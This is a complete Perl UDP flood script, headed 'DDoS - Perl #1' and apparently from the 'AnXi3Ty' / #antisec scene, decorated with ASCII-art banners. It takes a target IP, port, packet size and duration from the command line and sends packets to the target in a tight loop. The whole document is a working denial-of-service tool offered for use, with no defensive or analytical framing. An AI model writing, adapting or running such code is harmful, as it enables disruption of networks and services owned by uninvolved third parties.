DDoS - Perl #1

#!/usr/bin/perl

#########
# >AnX< #
#########

use Socket;
use strict;

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Invalid Command $ip\n";
$endtime = time() + ($time ? $time : 200);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print <<EOTEXT;




          :::
       :+: :+:
     +:+   +:+
   +#++:++#++:
  +#+     +#+
 #+#     #+#
###     ###

        ::::    :::
       :+:+:   :+:
      :+:+:+  +:+
     +#+ +:+ +#+
    +#+  +#+#+#
   #+#   #+#+#
  ###    ####

         :::    :::
        :+:    :+:
        +:+  +:+
        +#++:+
      +#+  +#+
    #+#    #+#
   ###    ###

          :::::::::::
             :+:
            +:+
           +#+
          +#+
         #+#
    ###########

           ::::::::::
          :+:
         +:+
        +#++:++#
       +#+
      #+#
     ##########

        :::::::::::
           :+:
          +:+
         +#+
        +#+
       #+#
      ###

          :::   :::
         :+:   :+:
         +:+ +:+
         +#++:
         +#+
        #+#
       ###




                       .
                      dM
                      MMr
                     4MMML                  .
                     MMMMM.                xf
     .              "M6MMM               .MM-
      Mh..          +MM5MMM            .MMMM
      .MMM.         .MMMMML.          MMMMMh
       )MMMh.        MM5MMM         MMMMMMM
        3MMMMx.     'MMM3MMf      xnMMMMMM"
        '*MMMMM      MMMMMM.     nMMMMMMP"
          *MMMMMx    "MMM5M\    .MMMMMMM=
           *MMMMMh   "MMMMM"   JMMMMMMP
             MMMMMM   GMMMM.  dMMMMMM            .
              MMMMMM  "MMMM  .MMMMM(        .nnMP"
   ..          *MMMMx  MMM"  dMMMM"    .nnMMMMM*
    "MMn...     'MMMMr 'MM   MMM"   .nMMMMMMM*"
     "4MMMMnn..   *MMM  MM  MMP"  .dMMMMMMM""
       ^MMMMMMMMx.  *ML "M .M*  .MMMMMM**"
          *PMMMMMMhn. *x > M  .MMMM**""
             ""**MMMMhx/.h/ .=*"
                      .3P"%....
                    nP"     "*MMnx



> AyO iTz AnXi3Ty | RuNNiN MoDeMz YoU FeeL ? | #antisec <

EOTEXT

print "~UDP Flooding~ $ip " . ($port ? $port : "on random ports") . "
Anxiety just dropped a connection with " .
  ($size ? "$size-bytes" : "a random packetsize") . "
MoFkN AnXi3Ty RunZ ThiZ" .
  ($time ? " for $time seconds" : "") . "\n";
print "To stop the attack type Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1500000-64)+64) ;
  $pport = $port ? $port : int(rand(65000))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
$iaddr));}